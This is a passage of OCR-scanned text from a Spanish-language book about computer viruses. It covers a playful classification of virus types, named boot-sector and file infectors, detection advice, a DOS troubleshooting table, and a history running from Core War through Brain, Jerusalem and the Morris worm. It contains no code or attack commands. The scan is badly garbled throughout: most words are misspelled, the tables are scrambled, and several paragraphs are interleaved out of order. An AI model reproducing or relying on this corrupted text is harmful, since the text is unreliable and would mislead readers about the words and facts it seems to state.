que ocasion<Jn d.lill)S .1 las cabe/..JS de Ice tu ra / grabuctón de 
las unidades de disct~, haci~ndnlas tr.lbi1jar cnnst;,ntcmen­
te hasto que se quL'Ill.lll. 

;.;.. Virus juguetones. Los que C<Jnt.lgi.lll a las comput,l11llras 
mechan te la cup1.1 de un simple programa de juegt)S. 

:0. Virus m.1lditos. Cu<1ndo tnfectJn un dtsco, venfJCan la can­
tidad de inform.Ktún conlenid.l en él y, si es poca, esperan 
a que se llene el dt~co para empezar ~u acciún de~lntcu\·a 
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>- Virus misteriosos Bloquean partes del equipo, simulan­
do una falla de hardw;)re no causada por un virus. 

>- Virus mutantes. Son los que al infectar realiz<lll modifica­
ciones a su código, para evitar ser detectados. 

>- Virus resentidos. Son los que desarrollan los programa­
dores de una empresa, cuando son despedidos del trabajo 
o son cambiados a un puesto menor. 

,. Virus simples. Entran en acción sin mnguna presenta­
ción, borrando programas o archivos de información. 

>- Virus supervisores. Los elaboran las mismas empres<Js 
para delectar a los empleados gue reahzan copias qe pro­
gramas sm autorización. 

,_ Virus temporales. Esperan una fecha, o una hora en par­
ticular, para acllvarse. 

,_ Virus vengadores. Son creados por ciertos fabricantes de 
software, y generalmente destruyen datos relativos al mis­
mo programa. Se activan cuando se trabaja con copi<1s ile­
gales o piratas del programa 

,. Virus viajeros. Tienen la capacidad de viajar por cualquier 
medio de comunicación a distancia, como por ejemplo, los sis­
temas de telecomunicac¡ón, comlUlicaciones por módem, etc. 
Permanecen Jcttvos prinópalmente en las redes. 

Los virus infectares del sector de carga más conocidos y di­
fundidos en todo el mundo son el de Turín o Italiano, el Pa­
quistaní o Brain, el Stoned, el Michelangelo, Alameda, Den 
Zuk, y últimamente el Natas, que actúa ademá~ como infec­
tar de programas y de sistema. 

El V!niS de Turín presenta una pequeña pelotita rebotando 
en la pantalla cuando se acllva, y hasta ahora no se conoce 
alguna versión modificada que produzca efectos nocivos so­
bre la información contenida en los discos. Actualmente este 
virus se ha fusionado con otros infectares del área de carga y 
parece que ha quedado obsoleto; es decir predominan otros 
virus que cuentan con funciones adicionales en su código. 

Por otra parte, como se mencionó anteriormente, los virus 
infectares de archivos ejecutables que más se conocen son el Je­
rusalén o del viernes 13, Cascada, Dark Avenger, Devil's Dan­
ce, Fu Manchú, Oropax, Vienna, y el multimencionado N alas. 

3.6 Cómo detectar infecciones virales 
Al reconocerse la existencia de los virus informáticos, ha pro­
liferado una industria dedicada a elaborar programas y siste-

' 
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mas de protección par<~ usuarios personales y para indus­
trias, b<1ncos o empresas. Esto no basta para detener a los "in­
teligentes" programas virulentos que in\'aden a veces redes 
completJs de institutos y centros de estudio. 

La gran cantidJd y variedad de virus existentes, hacen 
cada vez más difícil su detección y erradicación. Algunos 
usuarios de computadoras piensan que si cuentan con un de­
terminado programa antivirus protegen íntegramente su sis­
tema de la presencia de los molestos virus, incluso sabemos 
de usuarios que siguen tr<~tando de proteger su computadora 
utilizando detectores como Vnccinn o Scn11 versió11 67 de MeA· 
fee, cu<~ndo estos sólo detectan el virus de la pelotita el pri­
mero, y unos cuantos virus el segundo. 

Nada más alejado de la realidad, ya que los virus nuevos 
¿cómo los van a detectar?, ¡y ya son más de 4 000!, ¿los virus 
que se esconden en la me mona superior de la computadora? 
-los antivirus anteriores solamente revisaban 512 o 6-W kB de 
memoria-, ¿los virus que infect.uon los archivos e¡ecuta­
bles?, crecieron en tamaño estos archivos y les cambiaron la 
fecha. Y muchas más vanantcs de formas de operación y con­
tagio que no pueden reconocer todos los antivirus actuales, 
¡mucho menos los antenores! 

Cada virus es un prosra111a dlfocntc, con código de progra11w· 
ció11 difert'Hte e mfecta tl!Jae/lles árt'tlS de lo:> rlrscos, por lo que se 
requieren diferentes tipos de programas antivirus para con­
tra restarlos. Aunque se pueden tomar medidas o utilizar 
programas detectores de virus que actúan de manem general 
para av¡sarnos de actividades anormales o sospechosas en 
nuestra computadora. Los programas que no permiten que 
se infecten los discos se denominan vacunas, por su similitud 
con las biológicas. 

Otras medidas de protecc1ón y los programas antivirus se 
analizan con más detenimiento en los capítulos 5 y 9. En el 
capítulo 8 se incluye una lista con los virus conocidos más ex­
pandidos en Latinoamérica, y obviamente en los países euro· 
peas y Estados Unidos, con sus principales características y 
métodos de detección y erradicación. · 

3.7 Fallas que no se deben a infecciones virales 
No todas las fallas de la computadora se deben a problemas 
virales; muchas son producto de falsos contactos entre lasco­
nexiones de la lmid<Id central de proceso con los equipos pe­
riféricos: el monitor, la impresora, eltecl<ldo, las unidades de 
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Figura 3.3 
Con este tipo de 
Imágenes se 
representa la 
similitud de la 
formo de actuar 
de tas 
programas 
virales y sus 
vacunas. 

-

disco, etc. Otras fall<1s, como la que mdica el mensaje Sector 
110 eiiCOilfrado (Scclor 110t (OIIIId), archi\'OS borrados, sobrecs­
critura en la informaci<-'ul que contienen los archivos, o pro­
blemas que aparecen al trat.u de copiar uno o más ..uchivos, 
puede que hayan s1do ocasionadas por elusut:~rio. 

En la tabla 3.1 se sei"í<1lan <~igunns problem<~s comunes del 
sistema, y el mensaje de error o informntivo que ap<nece -
éste puede variar de Jcuerdo con 1<~ versión dd sistcm<l ope­
rJtivo DOS que use usted-. También se indic.1n las pos1bles 
caus<1s de las fallns y la solución probable. 

La tabla 3.2 muestra algunos problemas relaciOnados con 
fallas físicfls del s1stema, y el mensaje de error o informativo 
que se visualiza en la pantalla _¿.ste puede variar de acuerdo 
a la versión del sistema operativo DOS que usted use-. T<Jm­
bién se indican I<Js posibles causas de !J.s fnllas y la soluc¡ón 
probable. 
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Problema 1. ·-· ' ·.· .. Posible falla .. ·::- '; ~:. •· .. 1 ;·,,. . _,. - ·- .... ''Probabla'soluclón''!:·'!!.!'f...f~'fji .. 
, i No e~1ste la sullc~enle cantidad de mcmona d1spon1ble en i Oesac11ve alguno de los programas res1dCnles en memo na 

Memona msuo~c1en:e 
(Nol Enou h Memo ) su computadora para el programa que m len la usted ! (Term1nate and Sta y Res1den1, TSR) que esté ut111zando. y 

g ry 1 e¡ecutar ¡ rem1c1allce (Reboot) la computadora 

No se"''' el 1 Poede set qoe el seotot de '"9' (bool seotot) de so dtsoo llotente ooneg" el deleoto del dtsoo oon •lgún pmgtama de 
SIStema operat1vo en este dañado, o tamb1en que no haya 1nser1aao usted el ut1l1dad como por e¡emplo el Oocror de Orsco Norron (Nor· 

lü computüdora d1sco de SIStema en la un1dad de d1sco A ton D1Sk Doctor. NOO) de Norton Ut1ht1eS, en el otro caso 
(Non-DOS d1Sk error) 

1 
_____ ¡1nsen.e el disquete del s1stemü operauvo en la umdad A 

Se le d111culta cop1ar 1 Tal vez olVidé mciUir la vía de acceso (path) al d1rector1o de 1 01recc1one correctamente el dest1no de la cop1a 1ncluyendo 
un arch1vo cualqu1era destinO la vía do acceso (path) en el comando 

al subd1rcctono 
deseado (lnvalid Path 

or F1lem¡mc) 

P1sta O dclectuosa o · El comando FOAMAT del Sistema operat1vo OOS t1ene la El un1co remediO cons1sta en desechar el d1squeta 
med1o magnc\1co no 1 capaCidad para detectar cualquier seclor dañado (bad 

valido. d1sco 1 seotot) y mmatlo oomo tal, e.oeplo el seotot O. el cual 
1nu11hzable (Track O s1empre debe estar en buen estado, pues en el se aloJa el 
bad 01sk unusable) programa de carga (boot program) 

Tabla 3.2 

Problema 1 . ,.., :- ·; '!..:~:.:,Posible falla:/~<·:~t~:,-: .• ,. :. ·: .. ·· ~:-- ~-¡·:!,~':··-~~ :--:· .. :-,:~:~y~:!-:::::probabla Solución.,_:.;:;"'.¡: :\i:~~~ 

El teclado se 1 S1 el teclado se bloQuea repent•namente o al encender la 1 Aev1se las conex1ones o 1ntente usar otro cable S1 es10 no 
encuer~lra ¡ computadora esta presenta un mensaje de error. puede ser soluc1ona el problema. habrá que l1mp1ar el teclado. pues es 

bloqueado y no que el problema sea un falso contacto o que las conex1ones posible que el polvo haya bloqueacto la señal 
responde a nmguna del teclado esten delectuosas 

pulsac1ón 

El teclado no 
Quizás el teclado está configurado para un modo diferente Venflque el t¡po de teclado que 11ene su computadora Com· 

genera el caracter 
de texto Por e¡emplo, si usted usa el teclado estándar para pruebe el arch1VO AUTOEXEC BAT para ver SI cont1ene et 

asociado con la 
el1ngJés de Estados Umdos, puede que esté conl1gurado comando KEYBSP Cerciórese de que el paquete o pro-

tecla que usted 
con el comando KEYBSP (en español); por ello. al pres1onar grama que está OJeCutando no mod1f1que la conf1gurac1ón 
las teclas, en respuesta aparecen caracteres diferentes a ongmal del teclado ConsuUe su manual de operac1ón 

pulsa 
los esperados ' 

Este error puede ser causado por lalla lis1ca en la memor1a Ex1sten diversos programas para el d1agnós\lco de errores 
Error de pandad convenc1onal o RAM (Random Access Memory) del sistema o de los penléncos de su computadora lntl!nte 

(Pamy error) detectar la falla con alguno de ellos o solicJte ayuda de un 
tócn1CO 

Error en la 1 Esta t1po de error es generalmente causado por el usuano y La meJOr solución a este problema os que utilicemos sólo 
operación de los produce dwersos efectos Estos van desde la sobreescr1- programas o paquetes ongmales, los cuales cas1 s1empre 

programas o 1 tura aCCidental de un arch1vo hasta la moddJcac1ón de datos, se acompañan de manuales claramente explicados 
paquetes 1 o ono>uso la omposobolodad do acoedet at dosco o de mo-

Integrados de d1ficarlos 
sol!ware 

Iabe'" do leotu'a/ g<abaOtOn de la un;dad de dosqueles Limp1e penód1camente las cabezas de lectura/grabaCión de 
Error en la umd de estar muy suc1a o desalmeada la(s) umdad(es) de disquetes. Realice un manten1m1ento 

de 01squete preventiVO que mcluya la alinC:lCIOn de las cabezas de 
1ectura/grabac1ón 

-------
Pu(!dc ser que algun mov1m1ento brusco en su mesa de tra· Intente rescatar la mlormac10n del sector dañado usando al-

Error en el diSCO h¡o · 
baJO haya dañado el d1sco h¡o glin programa de utilidades, y cópiela a otro sector qua se 

encuentre en buen estado. SegUidamo~e marque el sector 
o duro defectuoso para que no se grabe nuevamente Información en 

1 el -algunos programas de ut1hdades harán esto por usted-

~ 
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A caus.J del misterio que l'I1\'0iv1ó il estos dailinos progra­
mas durante muchos anos, no existe ninguna informaCión 

fidedign.1 que permita reconstruir con exactitud la historia 
de Jos virus y los contag1os virales Las empresas, institutos 
de investigación, agencias gubernamentales e instituciones 
educativas que yu habíiln p.-.Jecido Jlguna infección por vi­
rus, lo negaban, para no reconocer Llue los SIStemas de segu­
ridad implantados con grandes esfuerzos y considerables 
sumns de dinero -y que se suponía que nadie ajeno <llsistema 
podría burlar-, de pronto se veían mfiltr<tdos por agentes te­
rroristas inform.íticos. 

Solaml'nle una serie de hechos v nombres a¡sJados se ha­
bían difundido en los medios espécializados, como revistas 
de comput.Jción o cien! íficas, pero d<1ban una Insuficiente vi­
sión del proceso de desarrollo de la VIrología ínjor111áticn; sin 
embargo, ensegu1da trataremos de dar una clara idea de 1.1 
evolución de los v1rus informáticos, sobre los cuilles, cilda 
día se Silbe más, gracias a las ¡nvestigacinnes realizadas por 
personas que, como el Ingeniero Fernando Suárez Arias del 
Club de Virólogos de MicrocomputadorJs de Gu.1dalajara, 
A.C., se preocupan y luchan desmteresadamente contra este 
enemigo de las computadoras. 

4.1 Historia de los virus informáticos 
En 1949, John van Neumann, Padre de In Co111putaoó11, descri­
bió algunos programas que se reproducen a sí mismos en su 
libro Theory a11d OrgaiiÍZiliiOtl of Com¡J/icnlt•d Au/OIIItlla. Esto, 
aunque no se enfocaba a la creación de programas que se di­
seminan sin permiso de los usuarios de computadoras, si no 
es el conuenzo de los virus, si es el primer indicio de código 
autorrcproductor. 

En cambio, la primera informJción de programas que in­
cluyen códigos que trabajaban como virus, nos remonta a la 
década de los años 60, y cs acerca de los estudiantes de com­
putación en el l11stituto Teowlógico de Mnssnclwsctts, ITM. 
Para ese entonces, el término lmcker se trilducía como progra­
mador ge111nl, no como Jhora que se utiliza para nombrar nlos 
piratas, o en su mejor acepnón, se refiere a personas talento­
sas que se entretienen infiltrándose en los sistemas de las 
grandes empresas, hecho que representa un reto ¡mm su illte­
ligencia. 

Los jóvenes estudiantes se reunían por las noches y se de­
dicaban a elaborar cód(<o?O sofisticado, así se dcsarrollnron nota-
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bies programas, como Guerra Cll r/ c~pot·io (Space \Var), ya que 
uno de sus pas<~tiempos favoritos er<1 lll~ilr amistosamente en­
tre ellos con programas que los dcm,í.s no pud1er¡¡n detectar. 

Además, b(lllllmnlcabnn al progr<~mJ. del contrincante, que 
no sabí:J de dónde recibía el ataque y qué lo provocaba. Estas 
modific~tcwncs que se hacían a los n1digos de los progrtnnas 
ajenos no er.ln propiamente virus, sino bo111Vns que actuaban 
cxp¡'rlfnlrdo inmediatamente. 

En esa misma década, vurios científiCos est<1dounidcnscs 
de los 1.1boratorios de computación LiL' lil AT& T ( Bel\ Labor¡¡­
tories). H. Douglas Mcllory, RobL•rt Morris Sr., Víctor 
Vysottsky y Ken Thompson iHgenlt'lll ,., :.'15/t'mns, creador de 
la primera versión del sistema Unix, píira entretenerse inven­
taron un juego al que ll<1maron Cort' War (Guerra nuclear), 
insp1r.1ctos en un programa escrito en lenguaje ensamblador 
llamado Ctt'Cpcr, el cu;1l tenín la cílp.Kidad de reproducirse 
cada vez que se ejecut<~ba. 

El juego consistía en invadir la computador<l del advers<l­
rio con un cód1go que contenía una serie de informuciones 
destinadas a destruir la memoria dl'l rival o impedir suco­
rrecto funcionamiento 

T.1mbién J¡seii.aron otro programa llamado 1\ccpcr, el que 
scrín el nntivirus -en e.se mofficntn-, cuy.1 función era la de 
destruir e<H.ia copia hecha por Creepa. Estaban conscientes de 
la peligrosidad que el juego repreSt.'ntaba para los sistemas 
de computación y se prometieron mantenerlo en secreto,· 
pues sabían que en manos irresponsables, el Core War podrí.-. 
ser empleado nocivamente. 

Sin embargo, en 1983 el Dr. Thompson, durante una alocu­
ción en la Association for Computing Machinery, da a cono­
cer J¡¡ Cxistenci.-. de esos prognmHlS de virus, con detalles 
acerca de su estructura La revista Scii!Hllfic A111erica11 lo pu­
blica en su .1rtículo Co/1/pflll'r Rcat'aliollS en el número de 
mayo de 198-t, ofreciCndo por 2 dól<1res las guías para lacren­
ción de \'ITUS propios. 

Desde el ,lii.o de 1Y74, Xcrox Corporatinn presentó en Esta­
dos Unidos el primer program<I que ya contenía un código 
autoduplic<:~dor. Los equipos Apple 11 se vieron <1fectados a 
fines de 1981 por un virus llamado Chmer, que presentaba un 
pequeño mensaje en forma de poema. Se 1111roducía en los co­
mandos de control e infl!claba Jos d1scos cuando se hací<l un 
acceso a la iniormación utllizando el comando infectado. 

En 1983, el Dr. Frctl Collt'll n..'ali.t:ó un experimento en la Uni­
versidad del Sur de California, presentando el primer VI /"liS 

1 _l 

Nota: 
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rcstdt'llfc t'lt ww PC, por lo que hoy se k conoce corno el padtc 
de los l'il"lls ínf01 lltiÍftcos Cohen tratab<1 de demustrclf -\'lo lo­
gró-, que el código de pmgr.lm<Is p.u<~ computador,{ podí.1 
autorreplit..:é.lTSC, i1~troduorse a otros códigos y alternr d fun­
~ionamJenlo Je l<1s cnmput<Jdor<Js. Er<I un virus muy brande, 
ya qlJC incluí.l un.1s 200 línL'as de código en lenguaje C, pero 
en comp.lr<~CIÓn con los progr<~nus desarrollados en ese 11po 
de comput,-.dnra y sistem<I operali\'O -Bl.:mk-, resulta que no 
fue t.-.n grande, sino m,ls bH·n muy pequL•!i.o. 

E.\Isle lllli:l rcfL·renci<I a un flrograma cun un nombre muy 
similJr ¡¡J CLm' \Vnr, que en illS d.lltlS de autor y k·ch.:~ de crea­
ción, dKI..'. E~critnl'or Kt''1'1JI A H¡n1kl', 111ayo de /98-J. 1'11 Snw/f-C, 
y fue cl:'dido al duminio público. 

En }1}86, es cu,1ndn ya se LhfuJtdc ampl¡;nnente un i.'Íru~ 
con la flll<llidad de causar destrozos en l.l mfonn.lcH'm de los 
usu,lrios. Este ;¡t,lCa una gríln cantid,ld de comput<Idorns en 
todo el mundo. Fue desarrolladn L'll Llllllre, 1\lllUISI,ín, por 
dos hermanos que comcrciab.1n en computador.b \' softw.-.re. 

Uno de ellos v~cnbiú un Jll"llgr.lma administr.lt¡"\"l, dL• gr,m 
utilid<1d. Jlur L'~le mnll\'o, lus USlhlriLl~ cnpi.lb,-.n L'll gr,lndes 
can1Id,1des c,1da Lll"lhltltll \'L.'ndido, hast;¡ que, c.111S.1Lills de su­
frir los cleC\L)S de ],¡¡ltralcríll, dl'cidicron vende! cu¡1111::0 tlt•,..;n/cs 
dt.> programas popul.ut~s, y en estos, íiSi como en su pro¡,Io 
progr<~ma, 111trodujemn un virus [lt'/11:-iiiO Cllll rúdi¡..;o muy c/c­
gtm/1!, el cuJI p:.!rlllilit"l qw~ ulrus prll~ram<~don..'s lu nwdifici:l­
ran p.:1r.1 hacer de él, en sus nue\',1S verSlllllL'S, uno (h.· los 
virus m.1s darlinns que se conocen, por l.l cantid.--.d de bytes 
en que reducl:'n l¡¡ capacid.-.d de ¡¡lmílcen;amien\o de los di::i­
quetes. 

lnformacicnes poster1ores encontradas en Compuserve, red de 
serv1cios lnlormat¡vos de mvel internacional, anunciaban 
infecciones del virus Bramo Paquistani, que habían borrado 
archivos de es1Ud1antes de la Un1versidad de M1am1, de una 
editorial, y de un penód1co. T-:~mb1én se decía que a causa de ese 
nnsmo v1rus, se habían destrUido d•scos de algunos estud1an1es 
Ce htlaryland. Acerca de la versión d1fund1da en Méx1co, nunca se 
supo que borrara arch1vos, pero sí inullllzaba los disquetes 
marcando sectores buenos como defectuosos. 

En su cnmp.nlb -Brnin Computers- se of1eCÍa1l prngr.l­
mas, como Lt)lus 1-2-3,1 J-llL'Cios ridículos -'ii1.5U d{'Jl,lrL'::>-, lo 
que propiciÓ ljliC los tunst.1s lliiC 1\eg,lb~n ;1 curnpr.n en su 
IJenda se lle\'~H.lll .1 sus lug.ues de o-i~en los progr<llllt13 in-
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Figura 4.1 
El virus Paqulstaní 
o Braln, se 
originó en 
Paqulstán. y se 
esparció 
rápidamente a 
través de todo el 
mundo. D 
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fcctados. Se supone que el referido \'lfliS infectó m<'is de 30 000 
computadoras solamente en Estados Unidos. 

L<~s computadoras Commodore, cspeCialm~nte la A_nnga, 
fueron atac<1das en noviembre de 1987 por un \'!rus que mfec­
taba el sector de carga y se posicionaba en In memoria de la 
comput.1dora. Al introducir otros disquetes, quedab~n infec­
tados en la misma área de arranque, por lo que al cucular a 
través de otras computt~doras, diseminaban el conlagio. 

En diciembre de 1987, los expertos de IBM tuvieron que 
diseñar un programa a111ivirus para d_csinfectilr su ~istemil de 
correo interno, pues éste, fue contag1ndo por un virus no da­
ñino que hacía aparecer en las pantallas de J¡¡s computadoras 
conectadJs a su red un mens.1je navideño, el cual al reprodu­
cirse a sí mismo múltiples veces hizo muy lento el sistemJ de 
mensaje~ de la compilñía, h<~stJ el punto de pMJlizarlo por 
espacio de setenta y dos horas. _ 

El virus prescntJba un mcns<~je navidciio con un ar_bol al 
Indo, y pedía ol usuorio que tcclcnra In palabra CIH</51 MAS. 
Si se tecleaba 1.1 p<~labra, el virus se introducía en la lista de 
correspondencia de correo clcctrónicn del oper<~dor y _se se­
guí<~ diseminando por tod<1 1.1 red. Ct!t1ndo no se acccd1a a la 
demanda y se apagaba el equipo, el virus impedía que se pu­
dieran grabilr los lrab<Jjos inconclusos, perdiéndose así mu­
chas horas de trabJjo. 
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El uso de progr.lmas origmillcs e\'il.l en un gran porcentaje 
la posibilidad Je infección VIral S m embargo, Altfu:; Corpom­
tioll, una empresJ de griln prestigiO, lanzó al mercado origi­

.nales de su programa Fret.+!Jnd par¡¡ J\t.xintosh mfcct.:~dos 
por un virus b1'11iS110 llam11do Afnr/1/to::;h Penre, A·fncMn~ o 
Hrn11dow. Este \'irus se desarrolló p<1r.1 poner un mens.1¡~ de 
paz en las pantallas de las computadoras, a fin de celebrar el 
amvcrsario de la introducción de b tv1<1CI!ltosh 11, el2 de mar­
zo de 1988. 

El virus Mncllltoslt P~·on· fue dtfundido por muchos de los 
servicios de softw.lfc compartido, y ;nmque se esperaba gue 
en el.íre<1 dt.' b fronteríl de Estados UllldL)S con Canad.í se en­
contr,1ran pocas copias tnfectadas, se cree que el mensaje 
apareció en UthlS 350 000 pilntail<lS de computJdoras de Esta· 
dos Umdos y Europa. 

Richard 1~. Br.:~ndow, editor de la rc\'iSI<l ;..¡¡lc:\fag de ~·ton· 
treal, Ct~nad<l, contríl!Ó <1 un prngr.1maJL)r p.1ra realiz.:~r el 
mencionado virus, que pronto se prop.1gó por medio de los 
servicios de c<Jrtelera electrónica (Bulletin Bu.:~rd Scrviccs, 
BBS), que ~on SIStemas de servicto de software o tnformación 
compartida por Ct.Hnputath)f,l vía módem y lítH.'il telefónica. 

A Idus inadvertid.1mente distribuyó origmales de su pro· 
grama gue contenían el virus. Su dcfcnsn se bnsó en el hecho 
de qul! la infección partió de un disco de demoslr<Jción que 
proporcionó a un proveedor. Este adquinó el \'irus de un 
programa de Juego lomado de un SCJYicio de cartelera elec­
trónica, y sin saberlo lo incluyó en el disco que contenía el 
programa de demostración y ~e comerci.Jiizó stn sospechar 
que llevaba el virus. De su diseminación se encarg.Jron lasco· 
pias ilegales que de él se hicieron. 

Nota: Actualmente siguen aconteciendo accidentes de esta naturaleza; 
es decir, algunas empresas 1nocenrementedistnbuyen copias 
Infectadas de sus programas. EJ caso más sonado es el del 
representante de Borland en Méx1co, que d•stnbuyó entre los 
asistentes a SOFTEACH Méx1co 94, el disquete de demostración 
del programa dBASE IV para Wu1dows. Infectado con el virus 
Monkey. 
La compañía olrec1ó públicamente disculpas y asesoría para 
eliminar eJ virus, así como un anlivirus -proporcionado por 
McAfee Associates de Méx1co y d1stnbU1do a través del BBS 
Spin-, para contrarrestar el electo del mencionado v1rus. en caso 
de haber rec•bido la inlecc1ón en sus computadoras. 

1 
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Nota: 

En 1988 se identificó el i 1irus dt' jt·rusnlé11, que según algu­
nns \'ers~nnes, fue creado por b OrsniiiZliCid/1 pnn, la Libero­
CÍÓII 1ie Pnlcs.lina con moiJ\'O de la celcbrnción del cuarenta 
aniversario del último dí.1 en gue l'nkstinn c:\istió como na­
ción, el \'ierncs 13 de ma\'O de 1988_ 

Por estas fechds, se co;ncnzaron a ddundir mformaciones 
sobre t 1iiiiS o caballos de Tloyn que er;m colocados en l3L3S's, 
parJ que en un determinado momcniL) dL~s.ltJ.r.ln un.1 serie 
de funciones daii.inas, que incluso, en ocasiones Glus.uon !.1 
destrucción complettl del IJblcrn L>lcctrónJco (BBS). Al h.1j<1r 
los prnbr,Hnas del tablero infectado, se esp<HCÍ<ll'l virus h.Kia 
las comput,ldor.ls concct.:llltls al sistema. Esto propició que 
durantL' un tiempo se cons1dcrar.í a los l3BS's como el princi­
pa 1 foco de (UJJIIlllliJJaCIÓII de Jos vi rus informáticos. 

En Est.ldus Un1dos, se formo una asociación de profesores, 
programadon•s y empn .. ·sas de soft\\'are, para estudiar, ilwes­
tigar y cl.1~ific.u .1 los virus, con la fin.1lid<1d de diseliar y eb­
borJr medidas dl' p!olección y pwgr.1mas .mti\'irus, de una 
mant~ra cuordinada, L'\'Jt.mdo así t•sfuerzus \'<lnos en latit.inJ­
ca lucha que se ech.1h.1n eJKJllla, la CVIA, Coi!IJllf/t'l" Vuus 111-
dus/1 !1 Assoáal ion J ((!;) ~L·de en Santa Cl.l ra, e al jf orni<l. 

Bulgaria se ha ident1f•cado como uno de los países más prolíficos 
en cuestiones de virus informáticos. por lo que no es raro que uno 
rte los vuus también m~s prolílicos -por aquello de las familias de 
virus-; es decir que ha servido para crear muchís1mas variantes a 
par11r da su código, sea el wus Vienna, cuyo origen se localiza en 
Bulgana. 
Tan senc1llo y bien estructurado E>ra el cód1go de dicho programa. 
que se logró incluso reducir su tamaño: es dec•r, la cantidad de 
bytes, de 648 a 348. Esto, en Jugar de reduw su capacidad de 
reproducción e infecciór,, al contrario, aumentó su eficiencia como 
virus. En ese t1empo. se Jabricaron los virus Old Yankoe y 
Vaccma. En el capítulo 6, podrá observar la gran cantidad de 
virus de origen Búlgaro 

La Nuclear ncg¡lfotory Co111missio11, de Esl<~dos Unidos, 
anunci,) L'i 11 de .1gusto de llJ88 su intención de s.lllCJon;H 
h<1sta cnn 1 2.50 000 dólares ,1 !.1 pl.lnt¡¡ de cnl'rgía nuciL'.H 
Peí.1ch Ht)t_tnm, en Pensilvania, porque sorprend1ó a lu.s opL'-

1 Figuro 4.2 
! Los operadores 
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nuclear de 
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no) que Sl' 111 trnd u¡o en el b, .l!L'ct;a ndn a m.ís dL· 6 000 eq IIIJ •• •·· 

de instalacwnes mJ!Jtarcs dL' 1.1 NASA, uni,·•!rsid<~des v (t'll 
Iros de in\'estJg.KJÓn públicns y privados. Este ~us<~no. :-,¡· 111 

filtro <~pro\'echando las fal1;1s de segund.1d que persistí,111 ··1 1 

ilrchi\·ns del sistem,l opl'r<lli\'ll UNIX qul' se L'Siílbil utili;.lll 
do. TambiL>n, el gus<~no invadí¡') 1.1 red IHI.'nrt'f. 

Investigacwnes po~tL>nore~ diernn como resu!t.1do el,],·· 
cubrimJenlo del c1usante de la uwasiún del gus.lJHl .1 1 ,,_ 
mencion.H.i.lS rL·des: L'l L'Studi,1nlc RobL•rt i'v1orris Jr., .Hllh¡tl•" 
sus dcci<:.r<Kiones y l11s dl' sus l""nmp,1r1eros mJI("ab.ln qut· 11 '' 

lo hJzo con ma].lS inlL'nciollL':->, sin u qul' fui.' un descuido 1 . .1 
trabiljar etmun progr;trnil.lllllliTL'JliOductor, que se le ftw ,¡,. 
las nwnos. En su ddL•ns.l, s~..·mencHm,Jba el hedlll de qut· 11.1 

tó de <lvisar t1 los nperadorL'S dl.' !.1 red p.H.:l .1yudJr .1 dch"'""' 
la infecnlm. 

radores de 1.1 pl.lnta JUg.llldo en las comput;ado!".ls con copitlS 1 
pir.llíls Je progranus de juegos. l 

Nota: Recordemos el programa Core War, desarrollado desde hace 
más de 20 años por c1entd,cos de los laboralor•os Bell. uno de lu·. 
cua!e;s era Robert Morns padre, se sabe que su h1jo trabajó ahí e11 

unas vacaciones de verano. Conoció el programa y lo divulgó 
entre algunos am1gos, los cuales se encargaron de d1semmarlo. 

El 2 de noviembre del mismo ílfln, las rede~ ARP;1NCI"" y 
NSI'11ct en Estadns Unuh>s snn infect.1das por un vorus (~us.1- . ·- . 

En octubrL' dl' 19HLJ va se \'1Su.111Zílba <1 los \'Írus comP t1 1 •·' 

lerribl ~ L'pidcmi.l, y L'lllP•!Z.lwn ,1 suceder hechos dL'plor.ll •l• 
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Figura 4.3 
Las 
computadoras 
de la NASA. en 
Estados Unidos. 
fueron 
Intervenidas por 
extraños. 
causando 
problemas en el 
lanzamiento del 
AIJantls. 

Un comunicado de un desconocido comtmdo trozoterroristn 
manifestaba que había infectado una gran cantidad de com· 
putadoras, y que el viernes 13 se dt.!Siruirkm automáticamen­
te los archivos almacenados en dist¡uetcs o en discos fijos, 
desatando el pánico entre los usu;-¡rios, el cual estaba fund<l­
do básicamente en la superstición que provoca esa fech<1. 

Aunque no se realizó esta cat<1strófica profecía, sirvió para 
replantear el grave peligro al que están expueslos los datos 
de cualquier sistema. Esta tesis se rdu~.-'rza con la publicación 
del 30 de octubre en el diario Tht' Nnv York Times, la cual 
anunci<1ba que las computadoras de la NASA habían sido in­
terferidas por desconocidos caus;mdo problemJs en el lanza­
miento del transbordador espacwl Al/nutis. 

( @lNASA j 

En EstJdos Unidll.S, unas sesenta computadoras de la 
NASA fueron infectadas en esa ocasión y el programa intruso 
se siguió reproduciendo por med1o de la red comercial que 
tiene la NASA con empresJs pnv<1das cn aquel país. Se esti­
ma que muchos grandes bancos de dt~tlls mtcrnacionales y 
más de medio millón de PC's han :,ido iltae<H.Ios por diversos 
tipos de virus. 

En España también se han prop11gado varios tipos de vi­
rus, al grado de que una conocida revista de computación 
que incluye discos con programils en cada ejemplar, distribu-

-T .. ---
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yó copias de esos discos contt~g1ados con el virus de Jerusa­
lén en uno de sus JHÍmeros de llJlJO. La rcvistJ reconoc1ó pú­
blicamente .su error y, adem,ís de rL'tlr,u los ejemplares del 
mercado, en el siguiente núml.'ro distribuyó discos de pro­
·gramas que contenían un íllltJvirus par.1 con1batir ;d mencio­
nado ''irus. 

Lógicamente lt~ re\'Jsta en cut~s!Jón ha sido una \'Íctima 
más de los tcrrou:.'/fl:.' de lnmfomiiÍ/Jca, y excepto por el cuidJ· 
do que debemos tener todos para no cal·r en estos problemas 
de discminnción de los virus, no puede culptlrsele de In exis­
tencia dL~I \'irus. Los medios de información espaíi.oles no es­
peciahz<~dos en informática, cxager<lfon los dnños que el 
virus podín cnustlf, con lo que desprestigiaron a lt~ revista. 
Por esto es lllllj' importante que no se mt~linformc ,1 los usun­
rios de lils computadoras sobre supuestas <ICCioncs o d<1fl0s 
que los v1rus inform.íticos pueden re.1lizt~r. 

Se especula mudw acercíl de !,1 cantitLld Jl! \'irus que se 
conocen ht~st<~ ahor.1, pero se supone que son mtls de 3 000. 
En algunos medios se iniorma que 11parccen unos 1 000 por 
mes, pL~ro los progr.1mas anli\'irus m.l.s modernos reportan 
poco m<ls de -J. 000, incluyendo las variantes de los más cono­
cidos. 

Diariamente se descubren nuc\'OS tipos de virus con códi­
gos diferentes y muy v;¡riadas fnrmJs de funcionamiento. 
Esto se debe en gran parte a la f<~cihdild de progr<~maCJón en 
el ambiente de M S· DOS, y <1 la vulnerabilidad C]lll~ este siste­
ma opcrati\'O ofrece, ya que no es un SJStem<~ que trabaje en 
modo protcg~tlo. 

4.2 Histeria causada por ros virus informáticos 

¡ 

i 

__ l 

El desconocimiento de los conceptos de vims illjormálico, tec­
IJOvirus o lt!CI/OSJda, que son algunos de los nombres que se 
han dado ;¡J fenómeno de los pmgram<~s que .se ejecutan sin 
